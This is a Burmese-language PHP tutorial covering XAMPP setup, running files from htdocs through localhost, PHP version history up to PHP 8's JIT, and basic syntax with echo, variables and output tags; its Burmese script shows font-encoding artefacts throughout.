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အ့ဲဒီလုိ အကုန်စုံပေအာင် ပါပေနတဲ့အတွက်ပေကြကာင့်ပဲ အများအသံုးဖြပုK့ုိ အင်တာနက်ပေပါ်မှာ လွှင့်တင်ပေပးမယ့်
Production Environment    နဲ့ပေတာ့  မသင့်ပေတာ့ဘူး   လ့ုိ  တစ်]ါထဲ တွဲKက်မှတ်သားသင့်ပါတယ်။ လုိတာ
ပေရာ၊  မလိုတာပေရာ  အကုန်ပါပေနလ့ုိ၊  လုိအပ်တာထက်  ပုိပေနှးတာမျ ို းပေတွ၊  မသံုးဖြKစ်ဘဲ  ပါဝင်ပေနတဲ့  နည်း
ပညာကပေန လံုခြ]ုပံေရးအားနည်း]ျက် ပေပါ်ပေနတာမျ ို းပေတွ ရိှလာတတ်ပါတယ်။ ဒါပေကြကာင့် ကိုယ့်စက်ထဲမှာ
PHP ကုဒ်ပေတွ ပေရးစမ်းKို့အတွက် Development Environment တည်ပေဆာက်ရာမှာသာ အသံုးဖြပုသင့်ပြပီး၊
အများသုံးKုိ့  ပေပးတဲ့  Production Environment  မှာပေတာ့ မသုံးသင့်ဘူးလုိ့  ပူးတွဲမှတ်သားရမှာပါ။ အများ
သံုးမယ့်  Production  Environment  မှာပေတာ့  ကိုယ့်ပပေရာဂျက်အတွက်  လုိအပ်မယ့်  နည်းပညာပေတွကို
ကိုယ်တိုင် (သ့ုိမဟုတ်) သက်ဆိုင်ရာ System Administrator က တစ်]ု]ျင်း စီစစ်ပြပီး ထည့်သွင်းK့ုိ လုိအပ်
နိုင်ပါတယ်။

ဆက်လက်ပေလ့လာနိုင်K့ုိအတွက် XAMPP Installer Kုိင်ကို ဒီလိပ်စာမှာ Download ရယူနိုင်ပါတယ်။

- https://www.apachefriends.org
 
Install  လုပ်ပံုလုပ်နည်းနဲ့၊  Install  လုပ်ပြပီးပေနာက် ဆက်လုပ်သင့်တာပေတွ ရိှပါတယ်။ ဒါပေတွကို စာနဲ့ပေရးဖြပ
ရင် ထိပေရာက်မှုရှိမှာ မဟုတ်ပါဘူး။ လက်ပေတွ့လုပ်ဖြပမှသာ ထိပေရာက်မှုရှိမှာ ဖြKစ်ပါတယ်။ ဒါပေကြကာင့် ဗီွဒီယုိ
သင်]န်းစာတစ်]ု ကြကိုတင်စီစဉ်ထားပါတယ်။ ပေရှ့ ဆက်မKတ်]င် အ့ဲဒီသင်]န်းစာကို ကြကည့်ပြပီး  XAMPP ကို
Install လုပ် အသင့်ဖြပင်ထားK့ုိ လုိအပ်ပါတယ်။ ဒီလိပ်စာမှာ ကြကည့်ရမှာပါ။

- https://www.facebook.com/fairway.technology/videos/2994956967228569/

Fairway Technology ရဲ့ Facebook Page ကို သွားပြပီး Videos Section ထဲမှာကြကည့်လုိက်ရင်လည်း PHP
Development Environment with XAMPP and Composer ဆိုတဲ့  ပေ]ါင်းစဉ်နဲ့  ဒီဗီွဒီယုိ သင်]န်းစာကို
ပေတွ့ရမှာပါ။  အ]ျနိ်  (၁၅)  မိနစ်]န့်ဖြKစ်ပြပီး  ကြကည့်ဖြKစ်ပေအာင်ကြကည့်K့ုိနဲ့  လုပ်ဖြKစ်ပေအာင်  လုိက်လုပ်ထားKို့
လုိအပ်ပါတယ်။ XAMPP ကို  Install  လုပ်နည်းအဖြပင် PHP ကို  Command Prompt မှာ Run လ့ုိရပေအာင်
လုပ်နည်းနဲ့ Composer ပေ]ါ် ပေနာက်ပုိင်းမှာ လုိအပ်လာမယ့် နည်းပညာတစ်]ုကို ထည့်သွင်းနည်းပါ တစ်]ါ
ထဲ ထည့်ဖြပထားလ့ုိပါ။

https://www.facebook.com/fairway.technology/videos/2994956967228569/
https://www.apachefriends.org/
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Running PHP Code
Development  Environment  တည်ပေဆာက်ရရှိပြပီဆိုရင်  PHP  ကုဒ်ပေတွကို  ဘယ်မှာပေရးရမလဲ၊  ဘယ်လုိ
စမ်းရမလဲဆိုတာကို ဆက်ပေဖြပာရပါမယ်။ 

1. PHP ကုဒ်ပေတွကို HTML Document ထဲမှာပေရးပြပီး
2. .php Extension နဲ့
3. Web Server ရဲ့ Document Root Kုိဒါထဲမှာ သိမ်းပေပးရပါမယ်။

XAMPP  နဲ့အတူပါတဲ့  Apache  Web  Server  ရဲ့  Document  Root  Kုိဒါအမည်ဟာ  htdocs ဖြKစ်ပြပီး
Windows မှာဆိုရင် အများအားဖြKင့်  C:\xampp\htdocs ဖြKစ်ပါတယ်။ အကယ်၍ XAMPP ကို  Install
လုပ်]ျနိ်မှာ Kုိဒါတည်ပေနရာကို ပေဖြပာင်း]ဲ့ရင်ပေတာ့ ကိုယ်ပေဖြပာင်း]ဲ့တဲ့ တည်ပေနရာမှာပဲ ရှာလုိက်ပါ။ htdocs
Kုိဒါထဲမှာ ကုဒ်Kုိင်ပေတွကို ဒီအတိုင်းထည့်ပေရးလ့ုိရသလုိ၊ လုိအပ်ရင် Kုိဒါအဆင့်ဆင့် ထပ်မံတည်ပေဆာက်ပြပီး
ပေတာ့ စုစည်းပေရးသားလို့ ရပါတယ်။

PHP ကုဒ်ပေတွ ထည့်သွင်းပေရးသားမယ့် HTML Kုိင်ရဲ့ အမည်ကို မိမိနှစ်သက်ရာ ပေပးနိုင်ပေပမယ့် Extension
ကိုပေတာ့ .php လ့ုိ ပေပးရပါတယ်။ .html လ့ုိ ပေပးလ့ုိမရပါဘူး။ Web Server ပေတွက အများအားဖြKင့် Kုိင်
Extension  .php ဖြKစ်မှ  အထဲက  PHP  ကုဒ်ကို  Run  ပေပးK့ုိ  Setting  လုပ်ထားကြကလ့ုိပါ။ ဒီနည်းနဲ့  ရိုးရိုး
ပေရးထားတဲ့ Static HTML Kုိင်နဲ့ PHP ကုဒ်ပေတွပါဝင်တဲ့ Dynamic HTML Kုိင်ကို ]ွဲကြကတာပါ။

ပေရးထားတဲ့ကုဒ်ကို စမ်းKို့အတွက် ရိုးရိုး HTML ပေတွလုိ ဒီအတိုင်း Browser နဲ့တိုက်ရိုက် Kွင့်ကြကည့်လ့ုိ မရပါ
ဘူး။ Web Server   ကိုဆက်သွယ်ပြပီးပေတာ့ လုိ]ျင်တဲ့Kုိင်ကို ပေတာင်းယူရပါတယ်  ။ ဒီပေတာ့မှ Web Server က
အထဲကကုဒ်ပေတွကို  Run  ပြပီး  ရလဒ်ကို  ဖြပန်ပေပးမှာ မ့ုိလို့ပါ။  Web Server  က လက်ရှိကွန်ပျူတာထဲမှာပဲ
ရှိပေနတာမ့ုိလ့ုိ အ့ဲဒီ Web Server ကို localhost ဆိုတဲ့ လိပ်စာကပေန ဆက်သွယ်နိုင်ပါတယ်။ အကယ်၍
Web Server အလုပ်လုပ်ပေနတဲ့ Port နံပါတ်ကို ပေဖြပာင်း]ဲ့မယ်ဆိုရင်ပေတာ့ Web Server ကိုဆက်သွယ်နိုင်K့ုိ
localhost  ပေနာက်မှာ  Port  နံပါတ်ကို  Colon  သပေက�တနဲ့အတူ  ထည့်သွင်းပေပးရမှာပါ။  ဒီသပေဘာကို
Development Environment တည်ပေဆာက်ပုံ ဗီွဒီယုိသင်]န်းစာထဲမှာ ထည့်သွင်းပေKာ်ဖြပထားပါတယ်။ 
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လက်ပေတွ့စမ်းကြကည့်နိုင်Kို့အတွက်  htdocs Kုိဒါထဲမှာ  info.php ဆိုတဲ့အမည်နဲ့  Kုိင်တစ်]ု
တည်ပေဆာက်ပြပီး ဒီကုဒ်ကို ပေရးသားပေပးပါ။

 PHP 

<?php phpinfo() ?>

တစ်ပေကြကာင်းထဲပါ။ တစ်ဖြ]ားဘာမှ ပါစရာမလုိပါဘူး။ phpinfo() လ့ုိပေ]ါ်တဲ့ Standard PHP Function
ကို ပေ]ါ်ယူထားတာဖြKစ်ပြပီး  ဒီကုဒ်ကို စမ်းကြကည့်လုိက်ရင် ရလဒ်အပေနနဲ့  Install  လုပ်ထားတဲ့  PHP Version
အပါအဝင် Development Environment နဲ့ပက်သက်တဲ့ အ]ျက်အလက်အဖြပည့်အစုံကို ပေKာ်ဖြပပေပးမှာဖြKစ်
ပါတယ်။ Browser မှာ ဒီလိပ်စာနဲ့ စမ်းကြကည့်နိုင်ပါတယ်။

- http://localhost/info.php

http://localhost/info.php
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Web Server လိပ်စာဖြKစ်တဲ့  localhost ရဲ့ပေနာက်မှာ ပေရးသားထားတဲ့ ကုဒ်Kုိင်အမည်ကို ပေပးလုိက်တာ
ပါ။ အဖြပည့်အစုံက http://localhost/info.php ဆိုပေပမယ့် ပေရှ့ဆုံးက http:// သပေက�တကို
ကိုယ်ထည့်မပေပးရင်  Browser  က  သ့ူဘာသာ  ထည့်ပြပီး  အလုပ်လုပ်ပေပးသွားလ့ုိ  ထည့်မရိုက်လည်း  ရပါ
တယ်။ လက်ပေတွ့စမ်းကြကည့်လုိက်ရင် ပြပီး]ဲ့တဲ့စာမျက်နှာမှာ ပေKာ်ဖြပထားတဲ့ပံုလုိ ရလဒ်မျ ို းကို  ပေတွ့ဖြမင်ရမှာ
ဖြKစ်ပါတယ်။

ဒါက ကုဒ်Kုိင်ကို htdocs Kုိဒါပေအာက်မှာ တိုက်ရိုက်ပေရးလုိက်တာပါ။ အကယ်၍ ကုဒ်Kုိင်ကို htdocs ထဲ
မှာ app ဆိုတဲ့Kုိဒါ တည်ပေဆာက်ပြပီးပေတာ့မှ အထဲမှာ info.php ဆိုတဲ့အမည်နဲ့ ပေရးသားထားမယ်ဆိုရင်
Browser  မှာ  ထည့်သွင်းစမ်းသပ်ရမယ့်  လိပ်စာက  localhost/app/info.php ဖြKစ်ပါတယ်။  Kုိင်
တည်ပေနရာကို Kုိဒါနဲ့တစ်ကွ ထည့်သွင်းပေပးရတာပါ။

အကယ်၍ ပေပးလုိက်တဲ့လိပ်စာက Kုိင်အမည်မပါဘဲ Kုိဒါသက်သက် ဖြKစ်ပေနမယ်ဆိုရင်   Web Server   က အ့ဲဒီ  
Kုိဒါထဲမှာ ရှိပေနတဲ့ Kုိင်စာရင်းကို ဖြပန်ပေပးမှာပါ။ ဥပမာ - localhost/app/ ဆိုရင် app Kုိဒါထဲမှာ ရှိပေန
တဲ့  Kုိင်စာရင်းကို  ပေတွ့ဖြမင်ရပါလိမ့်မယ်။  Kုိဒါတစ်]ုရဲ့  Index  Page  (Home  Page)  သတ်မှတ်လုိရင်
index.php Kုိင်ကို သံုးနိုင်ပါတယ်။ Kုိဒါတစ်]ုရဲ့အတွင်းထဲမှာ index.php Kုိင်ရှိပေနမယ်ဆိုရင် လိပ်စာ
အပေနနဲ့  Kုိဒါကို  ပေပးလုိက်တဲ့အ]ါ အထဲကKုိင်စာရင်းကို  ဖြပန်မပေပးပေတာ့ဘဲ  index.php ကို  အလုပ်လုပ်
ပေပးသွားမှာ ဖြKစ်ပါတယ်။ ဥပမာ app Kုိဒါထဲမှာ index.php ရိှပေနရင် localhost/app/ လိပ်စာကို
ထည့်သွင်းလုိက်တဲ့အ]ါ  ပေနာက်က  Kုိင်အမည်ကို  ထည့်ပေပးမထားပေပမယ့်  index.php ကိုအလုပ်လုပ်
ပေပးသွားမှာ ဖြKစ်ပါတယ်။

ဒါဟာ ]က်]ဲလှတဲ့ သပေဘာဘသာဝကြကီး မဟုတ်ပေပမယ့်၊ ပေလ့လာစမှာ မျက်စိလည်တတ်ကြကပါတယ်။ အ]ု
မှ PHP ကို ပထမဆုံး စတင်ပေလ့လာKူးသူဆိုရင် ဒီသပေဘာကို ပေကာင်းပေကာင်း နားလည်သပေဘာပေပါက်ပေစ
K့ုိအတွက် လက်ပေတွ့  စမ်းသပ်ကြကည့်ပြပီးမှ  ပေရှ့ဆက်သင့်ပါတယ်။  PHP  ကုဒ်  ပေရးပုံပေရးနည်းပေတွ  မပေဖြပာရ
ပေသးပေပမယ့်၊   ရိုးရိုး  HTML  Document  ပေတွကိုပဲ  .php Extension  နဲ့  htdocs Kုိဒါထဲမှာသိမ်းပြပီး
localhost ကပေနတစ်ဆင့် ပေ]ါ်ယူစမ်းသပ် ကြကည့်နိုင်ပါတယ်။
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PHP 8
ဒီစာပေရးပေန]ျနိ်မှာ  ထွက်ထားတဲ့  ပေနာက်ဆုံး  PHP  Version  ကပေတာ့  PHP  8  ဖြKစ်ပါတယ်။  ဒါပေကြကာင့်
လက်ရှိပပေရာဂျက်ပေတွမှာ အများသံုးပေနဆဲ PHP Version အ]ွဲ (၃) ]ု ရှိပေနပါတယ်။ PHP 5, PHP 7 နဲ့ PHP
8 တို့ ဖြKစ်ပါတယ်။ 

PHP 5 မှာ 5.5 နဲ့ 5.6 ထိရှိပါတယ်။ 5.5 ရဲ့ ပေရှ့ ပုိင်း Version ပေတွကို အသုံးဖြပုသူ မရှိသပေလာက် နည်းသွား
ပြပီ ဖြKစ်သလုိ  5.6  ပေနာက်ပုိင်း  Version  သစ် ထပ်မထွက်ပေတာ့ပါဘူး။  PHP 6  လည်းမရှိပါဘူး။ ထွင်ပေတာ့
ထွင်]ဲ့ကြကပါပေသးတယ်။ အများသံုးK့ုိ မပေကြကညာနိုင်]ဲ့တာပါ။

PHP 6 ကို တီထွင်ပေနစဉ်မှာ PHP ကို လက်ပေတွ့ အသုံးဖြပုပေနတဲ့ လုပ်ငန်းကြကီးပေတွထဲမှာ အကြကီးဆုံးလ့ုိ ပေဖြပာ
ရမယ့် Facebook က HipHop လ့ုိပေ]ါ်တဲ့ နည်းပညာတစ်မျ ို းကို တီထွင်]ဲ့ပါတယ်။ HipHop ဆိုတာ PHP
ကုဒ်ကို  C++  ကုဒ်ဖြKစ်ပေအာင်  ပေဖြပာင်းပေပးနိုင်တဲ့  နည်းပညာပါ။  အ့ဲဒီအ]ျနိ်တုံးက  C++  ဆိုတာ
Programming  Language  ပေတွထဲမှာ  C  ပြပီးရင်  ဒုတိယပေဖြမာက်  အဖြမန်ဆုံးလ့ုိ  ပေဖြပာလုိ့ရနိုင်ပါတယ်။  ဒါ
ပေကြကာင့်  HipHop  ရဲ့အကူအညီနဲ့  PHP  ကုဒ်ပေတွကို  C++  ပေဖြပာင်း၊  Compile  လုပ်ပြပီးမှ အသံုးဖြပုတဲ့အ]ါ ပုိ
ပေကာင်းတဲ့ စွမ်းပေဆာင်ရည်ကို ရပေစနိုင်သွားတဲ့ သပေဘာပါ။ 

ပြပီးပေတာ့  Facebook  က  HHVM (HipHop  Virtual  Machine)  လ့ုိပေ]ါ်တဲ့  နည်းပညာတစ်မျ ို းကို  ထပ်မံ
တီထွင်]ဲ့ဖြပန်ပါတယ်။ နည်းပညာက ကျယ်ဖြပန့်ပေပမယ့် အနှစ်]ျုပ်အားဖြKင့် ဒီလိုမှတ်နိုင်ပါတယ်။ ရိုးရိုး PHP
မှာ ကုဒ်ပေတွကို  Zend Engine လ့ုိပေ]ါ်တဲ့ နည်းပညာတစ်မျ ို းနဲ့ တစ်ဆင့်]ံ  Run ပါတယ်။ HHVM ကပေတာ့
ကုဒ်ပေတွကို  CPU က တိုက်ရိုက်နားလည်တဲ့  Machine Code ပေဖြပာင်းပြပီးပေတာ့ Run ပါတယ်။ ဒါပေကြကာင့် ပုိ
ဖြမန်ပါတယ်။ ပေရးထားတဲ့ PHP ကုဒ်]ျင်းအတူတူ ရိုးရိုး PHP Interpreter နဲ့ Run တာထက် Facebook ရဲ့
HHVM နဲ့ Run တာက ပုိဖြမန်မယ်ဆိုတဲ့သပေဘာ ဖြKစ်သွားတာပါ။

- https://hhvm.com

ပြပီးပေတာ့ Facebook က Hack လ့ုိ ပေ]ါ်တဲ့ PHP Compatible Programming Language တစ်]ုကို တီထွင်
]ဲ့ပါတယ်။ PHP နဲ့ ပေရးထံုးပုိင်းမကွာပဲ Scalar Type Hinting တို့ Return Type Hinting တို့လုိ ဖြKည့်စွက်မှု
တစ်]ျ ို ့  ပုိမုိပါဝင်သွားတာပါ။  ဒီပေရးထုံးပေတွအပေကြကာင်းကို  သ့ူပေနရာနဲ့သူ  ဆက်လက်ပေKာ်ဖြပသွားမှာပါ။

https://hhvm.com/
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Loosely  Typed  Language  တစ်]ုဖြKစ်တဲ့  PHP  ဟာ  အဖြ]ားပေသာ  Loosely  Typed  Language  များ
အားလံုးနည်းတူ ပေရးရတာလွယ်ကူဖြမန်ဆန်ပေပမယ့် ပေစာပေစာစီးစီး မသိလုိက်ဘဲ ပေနာက်မှပေပါ်တဲ့  Runtime
Error ပေတွ များတတ်တဲ့ အားနည်း]ျက် ရှိပေနပါတယ်။ ဒါကို Hack က Type Hinting နည်းစနစ်ပေတွ ထပ်
ဖြKည့်ပြပီးပေတာ့ ကုစားပေပးလုိက်လ့ုိ ပုိပြပီးပေတာ့ အရည်အပေသွးပေကာင်းတဲ့ ကုဒ်ကို ရသွားပေစနိုင်တဲ့သပေဘာပါ။

- https://hacklang.org

ဒီ အသစ်တီထွင်မှုပေတွက လုပ်လက်စ PHP 6 ထက် အလားအလာ ပုိပေကာင်းပေနတာ တစ်ပေန့တစ်ဖြ]ား ပုိမို
ထင်ရှားလာတဲ့အတွက် PHP ကို စီမံပေနကြကသူပေတွက PHP 6 ထွင်ပေနတာကို ရပ်လုိက်ပြပီး HHVM တို့ Hack
တို့ကို နမူနာယူထားတဲ့ PHP 7 ကို ဆက်လက်တီထွင်]ဲ့ကြကပါတယ်။ ဒါပေကြကာင့် PHP 6 ဆိုတာ ထွက်မလာ
လုိက်ဘဲ  PHP 7 ကို တစ်ဆင့်ပေကျာ် ပေရာကရ်ှိသွားတာပါ။ လက်ရှိ ဒီစာပေရးပေန]ျနိ်မှာ  PHP 7.0 ကပေန 7.4
ထိ ထွက်ထားပါတယ်။ 

PHP 7  ကပေတာ့ အတွင်းပုိင်း အလုပ်လုပ်ပံု အပေဖြပာင်းအလဲပေတွနဲ့အတူ စွမ်းပေဆာင်ရည်မှာ  PHP 5  ထက်
နှစ်ဆနီးပါး ပုိဖြမန်တဲ့ ရလဒ်ပေကာင်းပေတွကို ရသွားပါတယ်။ ပေရးထံုးပုိင်းမှာ Backward Compatible ပေတာ့
အဖြပည့်အဝ မဖြKစ်ပါဘူး။ ဆိုလုိတာက PHP 5 နဲ့ပေရးထားတဲ့ ပပေရာဂျက်ကို PHP 7 နဲ့ Run လ့ုိ အဖြပည့်အဝ
အဆင်ပေဖြပမှာ မဟုတ်ပါဘူး။ ဒါပေပမယ့် ပေလ့လာမှု ရှုပေထာင့်က ကြကည့်ရင်ပေတာ့ PHP 5 ကိုပေလ့လာထားမိလ့ုိ
PHP 7 ကို အသစ်အစအဆုံး ဖြပန်ပေလ့လာရတယ်ဆိုတာမျ ို းပေတာ့ ရှိမှာ မဟုတ်ပါဘူး။ အလားတူပဲ PHP 8
ဖြKစ်သွားလို့ အသစ်ဖြပန်ပေလ့လာစရာလည်း မလုိပါဘူး။ ပေရးထံုးပေတွက အများအားဖြKင့် တူညီကြကပါတယ်။ မ
တူပေတာ့ပဲ ကွဲဖြပားသွားတဲ့ အပိုင်းပေလးပေတွပေလာက်ကို ပေရွး]ျယ်မှတ်သားလုိက်ရင် ရသွားပါပြပီ။ ဒီလုိကွဲဖြပား
သွားတာပေလးပေတွကို သူ့ပေနရာနဲ့သူ ထည့်သွင်းပေKာ်ဖြပပေပးသွားမှာပါ။ 

လက်ရှိဒီစာပေရးပေန]ျနိ်ထိ PHP 8 မှာ 8.0 ပဲ ထွက်ထားပါပေသးတယ်။

PHP 8 မှာပေတာ့ JIT လ့ုိပေ]ါ်တဲ့ နည်းပညာတစ်မျ ို း ဖြKည့်စွက်ပါဝင်လာပါတယ်။ စမ်းသပ်မှုပေတွအရ တစ်]ျ ို ့
အ]ျနိ်ယူအလုပ်လုပ်ရတဲ့  လုပ်ငန်းပေတွမှာ  PHP 7  ထက်  (၁)  ဆ]ွဲ  ကပေန  (၂)  ဆထိ ပုိဖြမန်သွားပြပီး၊  စွမ်း
ပေဆာင်ရည်တိုင်းတာK့ုိ သက်သက် ရည်ရွယ်ထားတဲ့  Benchmark  ပေတွမှာပေတာ့  (၃)  ဆပေလာက်ထိ ပုိဖြမန်
တယ်ဆိုတာကို ပေတွ့ရပါတယ်။ ဒါပေပမယ့် လက်ရှိ ရှိပေနတဲ့ ပပေရာဂျက်ပေတွမှာ စမ်းသပ်တဲ့အ]ါ PHP 7.4 နဲ့

https://hacklang.org/
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စွမ်းပေဆာင်ရည် မတိမ်းမယိမ်းသာ ရှတိယ်ဆိုတာကို  ပေတရွှိထားလ့ုိ ဒါကိုလည်း သတိဖြပုသင့်ပါတယ်။  JIT
ကပေပးတဲ့  အားသာ]ျက်ကို  ရယူနိုင်တဲ့  ပပေရာဂျက်  အမျ ို းအစားပေတွ  ရှိနိုင်သလုိ၊  မရနိုင်တဲ့  ပပေရာဂျက်
အမျ ို းအစားပေတွလည်း ရှိနိုင်ပါတယ်။

JIT  ဆိုတာ  Just  In  Time  Compilation  ဆိုတဲ့  အဓိပ္ပါယ်ပါ။  ပံုမှန်အားဖြKင့်  PHP  ဟာ  Interpreted
Language ဖြKစ်ပါတယ်။ ပေရးထားတဲ့ကုဒ်ကို တိုက်ရိုက် ဘာသာဖြပန်ဖြ]င်းအားဖြKင့် အလုပ်လုပ်ပါတယ်။ JIT
နည်းပညာကပေတာ့  ထပ်]ါထပ်]ါ  Run  ရတဲ့ကုဒ်ပေတွကို  Compile  လုပ်ထားဖြ]င်းအားဖြKင့်  ထပ်]ါထပ်]ါ
တိုက်ရိုက်ဘာသာဖြပန်စရာ မလုိပေတာ့လ့ုိ  ပုိဖြမန်သွားတဲ့  သပေဘာမျ ို းပါ။  တစ်ကယ်  Compiled Language
ပေတွမှာကို  ကြကိုတင်  Compiled  လုပ်ပြပီးမှ  အလုပ်လုပ်တာမျ ို းပေတာ့  မဟုတ်ပါဘူး။  တိုက်ရိုက်ဘာသာဖြပန်
စနစ်ကိုပဲ  ဆက်သံုးပါတယ်။  Interpreter    က အကြကိမ်ကြကိမ်လုပ်ရတဲ့  ကုဒ်ပေတွ  ရှိလာရင်    Compile    လုပ်  
သိမ်းထားပြပီး ဖြပန်သံုးပေပးလုိက်တဲ့သပေဘာပါ။ 

Facebook  ရဲ့  HHVM  မှာလည်း  JIT  နည်းပညာ ပါဝင်ပါတယ်။ ဒါပေပမယ့်  PHP 7  ထွက်လာပြပီးပေနာက်
HHVM တို့  Hack တို့ပေပါ်မှာ လူပေတွရဲ့ စိတ်ဝင်စားမှု ပေလျာ့ကျသွားပါတယ်။ ပင်မ PHP မှာလည်း တူညီတဲ့
လုပ်ပေဆာင်]ျက်နဲ့  တူညီတဲ့စွမ်းပေဆာင်ရည်ကို  ရသွားပြပီမ့ုိလ့ုိပါ။  Benchmark  တိုင်းတာမှုပေတွအရ  နည်း
နည်းပေတာင် ပုိသာပေသးတယ်လ့ုိ ဆိုနိုင်ပါတယ်။ အ]ုဆိုရင်  HHVM  က ရိုးရိုး  PHP  ကိုလည်း  Support  မ
လုပ်ပေတာ့ပါဘူး။ Hack တစ်မျ ို းထဲကိုသာ Support လုပ်ပါပေတာ့တယ်။

ဒီစာအုပ်မှာ  ကုဒ်နမူနာပေတွပေKာ်ဖြပတဲ့အ]ါ  PHP 8  ကို  အဓိကထားအသံုးဖြပုသွားမှာ  ဖြKစ်ပေပမယ့်၊  တစ်]ျ ို ့
PHP 8 သီးသန့်လုပ်ပေဆာင်]ျက်ပေတွက လဲွရင် အများအားဖြKင့် PHP 5 တို့ PHP 7 တို့နဲ့ စမ်းကြကည့်ရင်လည်း
အဆင်ပေဖြပမှာပါ။  သက်ဆိုင်ရာကုဒ်နဲ့အတူ  စမ်းလ့ုိရမယ့်  PHP  Version  ကိုတွဲဖြပပေပးမှာမ့ုိလ့ုိ  ဖြပထားတဲ့
Version နံပါတ်ကိုပေတာ့ သတိဖြပုပေပးပါ။ 

ကုဒ်နမူနာပေတွမှာ PHP လ့ုိပေ]ါင်းစဉ်တပ်ပေပးထားရင် Version အားလံုးနဲ့ အဆင်ပေဖြပတယ်ဆို့ အဓိပ္ပါယ်ပါ။
PHP 7 (သ့ုိမဟုတ်) PHP 8 လ့ုိ ပေ]ါင်းစဉ်တပ်ထားရင်ပေတာ့ သက်ဆိုင်ရာ Version နဲ့သာ အဆင်ပေဖြပတဲ့ကုဒ်
ကို ဆိုလုိဖြ]င်းပဲ ဖြKစ်ပါတယ်။
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အခန်း (၃) – Syntax, Variables & Data Types

HTML Document ထဲမှာ PHP ကုဒ်ပေတွကို HTML Element ပေတွနဲ့ အ]ုလုိ တွဲKက်ပြပီး ပေရးနိုင်ပါတယ်။

 PHP 

<h1>Home Page</h1>
<p>
    Total: <?php echo 1 + 2 ?>
</p>

<?php အKွင့်နဲ့ ?> အပိတ်ကြကားထဲမှာ PHP ကုဒ်ပေတွကို ပေရးပေပးရတာပါ။ နမူနာအရ 1 နဲ့ 2 ကိုပေပါင်းပြပီး
ပေKာ်ဖြပ]ိုင်းလုိက်တဲ့  Statement  တစ်]ုကို  ပေရးသားထားတာပါ။  ဒီပေနရာမှာ  echo Keyword  က
အပေရးကြကီးပါတယ်။ ရလဒ်ပေတွကို    Output   အပေနနဲ့ ထုတ်ပြပီး ပေKာ်ဖြပပေစလုိတဲ့အ]ါ   echo     နဲ့ ပေKာ်ဖြပ]ိုင်းရပါ  
တယ်။ ဒီကုဒ်ကိုအလုပ်လုပ်လုိက်ရင် ဖြပန်ရမယ့် ရလဒ်က အ]ုလုိဖြKစ်မှာပါ။

 Output 

<h1>Home Page</h1>
<p>
    Total: 3
</p>

PHP က ထုတ်ပေပးလိုက်တာက HTML Output ဖြKစ်ပြပီး အ့ဲဒီ  HTML Output ကို  Browser က ပေနာက်ဆုံး
ရလဒ်အပေနနဲ့ ဖြပပေပးတယ်ဆိုတာကို သတိဖြပုပါ။ ဒါပေကြကာင့် စမ်းကြကည့်ရင် ပေတွ့ဖြမင်ရမှာက ပေနာက်ဆုံးရလဒ်
ဖြKစ်ပြပီး၊ PHP က ထုတ်ပေပးလိုက်တဲ့ HTML Output အဖြပည့်အစုံကိုသိ]ျင်ရင် Browser ရဲ့ View Source ကို
အသုံးဖြပုနိုင်ပါတယ်။ 
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Output  ထုတ်ပေKာ်ဖြပပေစK့ုိအတွက်  print Keyword  လည်း ရှိပါပေသးတယ်။  echo အစား  print ကို
သံုးလ့ုိ ရနိုင်ပါတယ်။ ဒါပေပမယ့် echo က နည်းနည်းပုိဖြမန်တဲ့အတွက်  print ကို မသုံးသပေလာက် နည်း
ပြပီး echo ကိုပဲ သံုးကြကပါတယ်။ 

အကယ်၍ ကုဒ်ပေတွက တစ်လုိင်းထက်  ပုိတယ်ဆိုရင်  ]ွပဲေရးလ့ုိရပါတယ်။  တစ်လုိင်းထက်  ပုိလာပြပီဆိုရင်
ပေတာ့  Statement  တစ်]ုပြပီးတိုင်း  Semicolon  နဲ့ပိတ်ပေပးရပါတယ်။  မပိတ်မပေနရ  ပိတ်ပေပးရတာပါ။
Semicolon မပါရင် အလုပ်မလုပ်ပေတာ့ပါဘူး။ ဒီလုိပါ။

 PHP 

<h1>Home Page</h1>
<p>
    Total: 
    <?php 
        $num1 = 3;
        $num2 = 5;
        echo $num1 + $num2;
    ?>
</p>
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နမူနာမှာ  $num1 လ့ုိပေ]ါ်တဲ့  Variable  တစ်]ုနဲ့  $num2 လ့ုိပေ]ါ်တဲ့  Variable  တစ်]ုတို့ကို  ပေကြကညာလုိက်
တာပါ။ တစ်လက်စတည်း  Variable  အပေကြကာင်းကိုပါ တွဲကြကည့်ကြကပါမယ်။  PHP  မှာ  Variable  ပေကြကညာK့ုိ
var တို့  let တို့လုိ  Keyword ပေတွ သံုးစရာမလုိပါဘူး။ ဒါပေပမယ့် ခြွ]င်း]ျက်အပေနနဲ့  PHP Variable    မှန်  
သမ�   $   သပေက�တနဲ့ စပေပးရပါတယ်  ။ မဖြKစ်မပေန စပေပးရမှာပါ။ နမူနာအရ Variable နှစ်]ုပေကြကညာပြပီး ပေပါင်း
ဖြ]င်းရလဒ်ကို ပေKာ်ဖြပ]ိုင်းလုိက်တာပါ။

ကုဒ်ပေတွကို တစ်ပေနရာထဲမှာ စပုေရးတာမျ ို း မဟုတ်ဘဲ လုိအပ်ရင် နှစ်ပေနရာ သံုးပေနရာလည်း ]ွဲပေရးလ့ုိ ရပါ
ပေသးတယ်။ ဒီလုိပါ။

 PHP 

<h1>Home Page</h1>
<?php
    $num1 = 3;
    $num2 = 5;
?>
<p>
    Total: <?php echo $num1 + $num2 ?>
</p>

ဒီတစ်]ါ Variable ပေကြကညာတဲ့ကုဒ်ပေတွကို သပ်သပ်ပေရးပြပီး၊ ပေပါင်းဖြ]င်းရလဒ် ပေKာ်ဖြပပေစတဲ့ကုဒ်ကို သပ်သပ်
ပေရးထားပါတယ်။ ရလဒ်က အတူတူပဲ ဖြKစ်မှာပါ။ PHP မှာ ရလဒ်ပေတွကို ပေKာ်ဖြပပေစK့ုိ သံုးရတဲ့ အတိုပေကာက်
ပေရးနည်းတစ်]ု ရှိပါပေသးတယ်။ ဒီလုိပါ။

 PHP 

<h1>Home Page</h1>
<?php
    $num1 = 3;
    $num2 = 5;
?>
<p>
    Total: <?= $num1 + $num2 ?>
</p>

<?= အKွင့်နဲ့ ?> အပိတ်ကို သံုးလုိက်တာပါ။ Output Tag လ့ုိ ပေ]ါ်နိုင်ပါတယ်။ ဒီ Output Tag ကိုသံုးရင်
echo Keyword  ထည့်စရာ မလုိပေတာ့ပါဘူး။  ရလဒ်ကို  တစ်]ါထဲ ပေKာ်ဖြပပေပးလုိက်မှာ မ့ုိလ့ုိပါ။  PHP  မှာ
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ရိုးရိုးအတိုပေကာက်  Short Opening Tag ဆိုတာ ရိှပါပေသးတယ်။ <? အKွင့်နဲ့ ?> အပိတ်ကို သံုးရတာပါ။
